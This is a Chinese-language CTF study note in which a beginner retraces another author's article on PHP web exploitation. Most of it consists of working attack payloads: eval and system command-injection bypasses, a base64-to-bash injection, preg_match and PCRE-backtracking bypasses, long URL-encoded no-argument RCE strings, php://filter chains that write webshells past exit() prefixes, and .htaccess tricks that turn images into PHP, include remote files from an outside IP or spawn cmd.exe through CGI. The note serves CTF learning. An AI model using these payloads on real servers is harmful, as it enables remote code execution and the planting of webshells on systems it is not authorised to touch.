读Boogipop新人同学
读Boogipop大佬文章的具体尝试
1.关于eval和system (只尝试了php7.3.4)
eval常规执行命令形如eval(system('whoami'););
当然不能直接这样运行,system('whoami');
是传参进去的 (记得带;
号)
#大佬给出的绕过技巧
eval(system('ls')?>)
eval(?><?php system('ls');?>)
eval(?><?php system('ls');?>;)
eval(?><?php system('ls');?><?)
eval(?><?php system('ls');?><?php;)
在拼接的情况下执行命令
eval()中的参数被拼接
eval('#'.$_GET['c']);
eval('asd'.$_GET['c']);
eval($_GET['c']."asd");
第一种: 注释考虑换行绕过 payload:?c=%0asystem('ls');
第二种: 考虑分割(; | &) payload:?c=;system('ls');
第三种: 考虑注释后面内容 payload:?c=system('ls');//
payload:?c=system('ls');__HALT_COMPILER();
system()中的拼接
好像换行注释什么的都不行,只考虑命令拼接符
以下是个人尝试得出的结论,和网上的不同(有可能是windows环境的原因)(感觉我的都是歪理,其实有些地方也自相矛盾)
; 理论上做题应该是万能的,但在本地尝试的时候,一点作用都没有
| 只输出最后一个|后的命令,若前面有一个命令是错误的,则无法执行
|| 只执行||前的命令,后面的命令错误不影响执行,若||前的命令是错误的,后面的仍无法执行, 若前面的命令是curl、net(可能是没有输出结果的指令),就能够执行||后面的语句
& 命令都正确时,都可以执行,后面的错了,前面的能执行,前面的错了,都不能执行
&& 命令都正确时,都可以执行,后面的错了,前面的能执行,前面的错了,都不能执行
system("ls -all ".$this->filename); #DASCTF2023&0X401比赛题
system($_GET['file']."aksldj");
system("curl ".$_GET['url'].".dnslog.cn");
#由于;我无法尝试,此处不讨论;能否使用
第一个: 大佬payload: ;echo bHMgLwo|base64 -d|bash; 题目复现过,是可行的
第二个: || & && 三个都能使用
第三个: 由于是curl,前面可以使用||(直接|也行),后面|| & && 三个都能使用
data协议和input协议与include和highlight_file
data协议条件
- allow_url_fopen:on
- allow_url_include :on
input协议条件
- allow_url_fopen:随便
- allow_url_include :on
关于include能执行命令,我是模糊的,一直到2023SCTF的fumo_backdoor
(与2022CISCN的考点相同),他们之间的区别是一个是include、一个是highlight_file(与题目的考点无关,但确实会对题目中的操作有影响),我在复现时看文章能写木马,但复现却不行,问了unknown
师傅才知道,能执行代码完全靠的是include
的函数,而highlight_file
这类的就完全不行!
include
能配合data
、input
伪协议进行命令执行,而highlight_file
显示代码
<?php
if (isset($_GET['file'])){
highlight_file($_GET['file']);
}
else{
highlight_file(__file__);
}
if(isset($_GET['url'])){
include($_GET['url']);
}
?>
filter协议就不说了
Boogipop大佬总结
所谓的什么伪协议流,其实就是读取文件或者写入内容到文件,并且储存到变量里面
不要搞混了哦
preg_match误区
<?php
$str=$_GET['b'];
if(preg_match('/^flag/i', $str)){
echo 'yes';
}
?>
完了,为什么啊,与大佬结果不一样,(我测试了7.3.4和7.0.9和5.6.9三个版本都不回显)
m修饰符
m
是一定要搭配^
或者$
来使用的,匹配的是**每一行
**的开头或结尾
if(preg_match('/^flag/im', $str)){
所以无法用%0a进行绕过
preg_match的绕过技巧
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
?a=flag%0a
数组绕过
PCRE回溯次数限制绕过
一般是写脚本上传超过1000000的数据,就会被绕过
新了解的方法
.htaccess
文件设置pcre回溯次数
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
将正则匹配的回溯次数设为0,来达到绕过的效果
限制次数绕过
preg_match('/[0-9a-zA-Z]{2}/',$p) === 1
(匹配到两次)
每一个字符前加上单引号可以绕过preg_match的匹配:
payload:p='Z'm'x'h'Z'y'5'w'a'H'A'=
parse_str
根据&
解析变量
parse_str("a=1%26b=2%26c=3"); 'a' => string '1&b=2&c=3'
parse_str("a=1&b=2&c=3");
'a' => string '1'
'b' => string '2'
'c' => string '3'
无参数RCE
取反、异或都需要php7的环境(确实好像php5用不了)
异或
大佬给出的异或脚本真好用,嘿嘿
取反
php取反很方便
<?php echo urlencode(~'phpinfo');?>
自增
[].[]
返回ArrayArray _/_
返回NAN
由此自增构造字符
$%DF=(_/_._)['!'=='_'];//NAN
$_=++$%DF; //O
$%DE=_; //_
$%DE.=++$_.$%DF; //_P
$_++; //Q
$_++; //R
$%DE.=++$_; //_POS
$%DE.=++$_; //_POST
$$%DE[__]($$%DE[_]); //$_POST[__]($_POST[_])
#Boogipop大佬自增的结果
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
//$_GET['_']($_GET['__']);
//ASSERT($_POST[_]); php小于7
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
通配符
?
*
缓存文件
/tmp/phpxxxxxx
<?php
$cmd = $_GET['cmd'];
eval($cmd);
文件上传后首先会保存为临时文件/tmp/phpxxxxxx
执行该文件
?cmd=?><?=`. /tmp/phpxxxxxx`
2023cnss新生赛
#door.php
<?=. /???/??????
在door.php路由下上传php文件
------WebKitFormBoundaryQe3H2A18XpuKlHGT
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
#!/bin/bash
ls
------WebKitFormBoundaryQe3H2A18XpuKlHGT
Content-Disposition: form-data; name="submit";
提交
------WebKitFormBoundaryQe3H2A18XpuKlHGT--
pathinfo()漏洞
/
获取文件名,根据.
获取文件后缀
1.php/.
parse_url解析漏洞
php parse_url
最后一个@后的为host
libcurl
第一个@后的host
http://u:p@a.com:80@b.com/
php解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80
libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
文件上传
finfo_open (检查文件头,十六进制第一行信息)
修改后缀不起作用
finfo_open的参数 控制返回结果
FILEINFO_NONE (integer)
无特殊处理。
FILEINFO_SYMLINK (integer)
跟随符号链接。
FILEINFO_MIME_TYPE (integer)
返回 mime 类型。 自 PHP 5.3.0 可用。
FILEINFO_MIME_ENCODING (integer)
返回文件的 mime 编码。 自 PHP 5.3.0 可用。
FILEINFO_MIME (integer)
按照 RFC 2045 定义的格式返回文件 mime 类型和编码。
FILEINFO_COMPRESS (integer)
解压缩压缩文件。 由于线程安全问题,自 PHP 5.3.0 禁用。
FILEINFO_DEVICES (integer)
查看设备的块内容或字符。
FILEINFO_CONTINUE (integer)
返回全部匹配的类型。
FILEINFO_PRESERVE_ATIME (integer)
如果可以的话,尽可能保持原始的访问时间。
FILEINFO_RAW (integer)
对于不可打印字符不转换成 \ooo 八进制表示格式。
FILEINFO_EXTENSION (integer)
根据 MIME 类型返回适当的文件扩展名。 有的文件类型具有多种扩展名,例如 JPEG 将会返回多个扩展名, 以斜杠分隔,比如 "jpeg/jpg/jpe/jfif"。 如果在 magic.mime 数据库里类型未知,则返回的是 "???"。 PHP 7.2.0 起有效。
finfo_file()
返回finfo_open
设置的参数对应的信息
Getimagesize(检测文件头,读取文件的前八位的十六进制)
返回文件大小和文件类型
上传只有第一行文件头的图片
finfo_open识别为了png图片,但是getimagesize函数并没有识别成功 (给新生上强度)
往图片第二行随便加东西
成功识别
exif_imagetype (GIF89a应该是用来饶过他的)
只是返回数字(数组中的索引)
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
7 IMAGETYPE_TIFF_II(Intel 字节顺序)
8 IMAGETYPE_TIFF_MM(Motorola 字节顺序)
9 IMAGETYPE_JPC
10 IMAGETYPE_JP2
11 IMAGETYPE_JPX
12 IMAGETYPE_JB2
13 IMAGETYPE_SWC
14 IMAGETYPE_IFF
15 IMAGETYPE_WBMP
16 IMAGETYPE_XBM
死亡代码
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>
建议看看Boogipop大佬的文章,讲的很好
常规的我就不写了,写一下我没见过的
php7先压缩再解压(测试有问题)
<?php
$filename='php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=a.php';
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>
大佬的示例
我的示例(php7.3.4和7.1.9都不行)
呜呜,又与大佬不一样了
死亡代码变种
<?php
$content=$_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>
#插入无关代码在filename处正常解析
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php
#当文件名
php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
和大佬说的一样,使用上述两个代码都只能创建文件,无法生成内容
原因
写入的内容拼接起来是<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
都知道=
在base64中的作用是填充,也就是以为着结束;在=
的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的
即PD9waHAgcGhwaW5mbygpOz8+.php
作为=
后的内容,会被忽略或使解码失败
解决办法(1)
嵌套过滤器 string.strip.tags|convert.base64-decode
初代payload: php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
只能说实在是妙啊
创建?>PD9waHAgcGhwaW5mbygpOz8+
文件,内容拼接起来是<?php exit();php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
先去除标签,就只剩下PD9waHAgcGhwaW5mbygpOz8%2B.php
然后再进行base64-decode
实操发现会报错。。。。。
我在想是不是要先创建文件,当创建文件时,我悟了,windows的文件命名不能有?>
等字符,只能在linux
环境中尝试(难怪大佬的图使用linux),既然如此,我也复现不了了,没有环境,还不会docker启环境
然后就能生成文件,但在访问的时候,大佬发现文件名有问题,会出现访问不到的情况,原因是引号
我们看到生成的文件是带有引号的,正常的文件是不带有的
大佬这里使用伪目录的方法
最终payload:php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
作为内容时,剩下的PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
仍可以被解析
作为文件名时,php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B
被当作一个目录(虽然不存在),然后../
又回到了本来的目录,于是生成s1mple.php
我把过滤器去掉尝试后发现确实可以生成s1mple.php
大佬看到的一篇错误博客(原来我的想法和那博客一样是错误的)
payload:php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
博客的说法
他的意思是代码粘起来:<?php exit();php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
之后
strip_tags去除内容后为:<?php exit();PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
(我的错误理解是留下<?php exit();php://filter/PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
)
。。。好像错的更加彻底
真实情况(也是Boogipop大佬的理解)
测试代码
<?php
$filename='php://filter/string.strip_tags|convert.base64-decode/resource=a.php';
$content='?>PD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit()<?;".$content);
highlight_file("a.php");
?>
拼接后是<?php exit()<?;?>PD9waHAgcGhwaW5mbygpOz8+
真实情况,只剩base64代码,然后base64解密
所以string.strip_tags
不是只会去除<?;?>
中间的内容,那是错误的观念
解决办法(2)rot13 (windows本地测试不通过)
这个就方便多了,不会受到=
的限制
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php
测试情况
生气,不管是正常的死亡代码还是这个变种,rot13
都会报这个错误
解决办法(3) convert.iconv
iconv拥有很多字符编码,利用convert.iconv 进行字符编码转化,这个涉及到filterchain的构造,内容挺多,这就只讲Boogipop大佬提及的
usc-2
每两个字符进行翻转 (一定要是偶数、否则报错)
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;
usc-4
就是4位一反转 (同理,需要4的倍数)
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php
utf-8到utf-7的转化
=
会被转化为+AD0-
(filterchain
构造需要)
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=a.php
windows
没有iconv
,但是我是能成功写入内容的(不太理解)
死亡代码变种(二)
file_put_contents($filename, $content . "\nxxxxxx");
因为php
有特殊的起始符和结束符,所以出题时一般会被禁用php
常见考点是利用.htaccess
,.htaccess
文件对其文件内容的格式很敏感,如果有杂糅的字符,就会出现错误,导致我们无法进行操作,所以这里我们必须采用注释符将杂糅的代码进行注释,然后才可以正常访问;
对于换行符我们直接进行 \
注释(应该是转义的意思),#
注释杂糅的内容
`#`一般放在行首,并且只能注释一行
php_value%20auto_prepend_file%20文件地址%0a%23\
Boogipop大佬参考的文章的作者的其他方法
https://www.cnblogs.com/Wanghaoran-s1mple/p/13152075.html
https://www.cnblogs.com/Wanghaoran-s1mple/p/13232888.html
.htaccess文件
.htaccess 中有 #
单行注释符, 且支持 \
拼接上下两行。
子目录中的.htaccess
指令会覆盖父目录或者主配置文件中的.htaccess
指令
apache2.conf AllowOverride All #启动.htaccess文件的使用
也可以将 .htaccess 修改为其他名AccessFileName .config #将.htaccess修改为.config
SetHandler
SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php
解析(上传jpg文件但内容为一句话木马,也会被成功解析)SetHandler server-status
这是查看apache的服务器信息的
AddHandler,AddType
AddType application/x-httpd-php .htm
#.htm后缀的文件视为php文件执行AddHandler cgi-script .aaa
#后缀名为.aaa的文件视为cgi脚本执行AddType application/x-httpd-php png jpg gif
#将png,jpg,gif后缀名都视为php执行
php_value
当使用PHP
作为Apache
模块时,也可以用Apache
的配置文件(例如 httpd.conf)和 .htaccess
文件中的指令来修改 php 的配置设定。需要有AllowOverride Options
或AllowOverride All
权限才可以。
.htaccess
只能用于 PHP_INI_ALL
或 PHP_INI_PERDIR
类型的指令。
- auto_prepend_file:在主文件解析之前自动解析包含的文件
- auto_append_file:在主文件解析后自动解析包含的文件
如:php_value auto_prepend_file 1.jpg
#每次访问一个php
文件,都会先解析1.jpg图片,如果里面有代码就会执行
php_flag (控制开关)
将其中的engine设为0可以关闭php解析从而达到源码泄露的目的
(这里源码泄露的意思是)因为像<?php phpinfo();?>
这样的php代码一般会被解析而无法显现,这里关闭解析,于是代码就会显示
如:php_flag engine off
注释
#
一般放在行首,并且只能注释一行
多行注释 #%0a
php_value auto_prepend_fi\
le 1.png
# this is 注释
里面的\
并不只是单单的\
,他实际上是\%0a、
,转义了换行符
利用这种技巧用#\%0a
来多行注释
利用方式
解析文件
# 将test.gif 当做 PHP 执行
<FilesMatch "test.gif">
SetHandler application/x-httpd-php
</FilesMatch>
# 将 .png 当做 PHP 文件解析
AddType application/x-httpd-php .png
文件包含
php_value auto_prepend_file /etc/passwd
访问php
文件时会先打开/etc/passwd
(/etc/passwd
的内容在php文件内容前)
auto_append_file
同理 (内容在php文件内容之后)
远程文件包含
PHP 的all_url_include
配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为all_url_include
的配置范围为 PHP_INI_SYSTEM
,所以无法利用php_flag
在.htaccess
中开启
php_value auto_append_file http://10.87.9.156/phpinfo.txt
太神奇了
信息泄露
php_flag engine 0
在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码
伪协议
条件:all_url_fopen=on
,all_url_include=on
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
解析.htaccess
php_value auto_append_file .htaccess
#<?php phpinfo();?>
<?php phpinfo();?>
会被解析
这种方法在我们随便打开一个PHP文件后就会去解析.htaccess文件(这里的htaccess文件一定要和php文件在一个目录下!!!!)
二
这种适合同目录或子目录没有php
文件。
需要先设置允许可访问 .htaccess
文件
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
上面的代码必须加,是允许访问htaccess文件
命令执行
cgi
cgi_module
需要加载,即 apache
配置文件中有
LoadModule cgi_module modules/mod_cgi.so
.htaccess内容
Options ExecCGI #允许CGI执行
AddHandler cgi-script .xx #将xx后缀名的文件,当做CGI程序进行解析
ce.xx
#!C:/Windows/System32/cmd.exe /k start calc.exe
6
fastcgi (百闻不如一见)
mod_fcgid.so
需要被加载。即 apache
配置文件中有
LoadModule fcgid_module modules/mod_fcgid.so
.htaccess
Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx
ce.xx 内容随意 (所以叫fast)
自定义错误文件 (不太理解)
error.php
<?php include('shell');#报错页面
.htaccess
php_value error_log /tmp/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
会经过 html 编码,所以需要 UTF-7 来绕过。
# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
session.serialize_handler(三种引擎)
php(默认的) 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组
当一个服务器(session文件和PHPSESSID相同),的两个页面使用不同处理器就会存在phpsession反序列化漏洞
利用session_upload_progress进行文件包含***
挺重要的一个考点
原理看过很多次,但感觉要是遇到的话还是很迷茫,找不到题目,实际操作一次就会很清醒了)
这个似懂非懂就不写了
但真的非常重要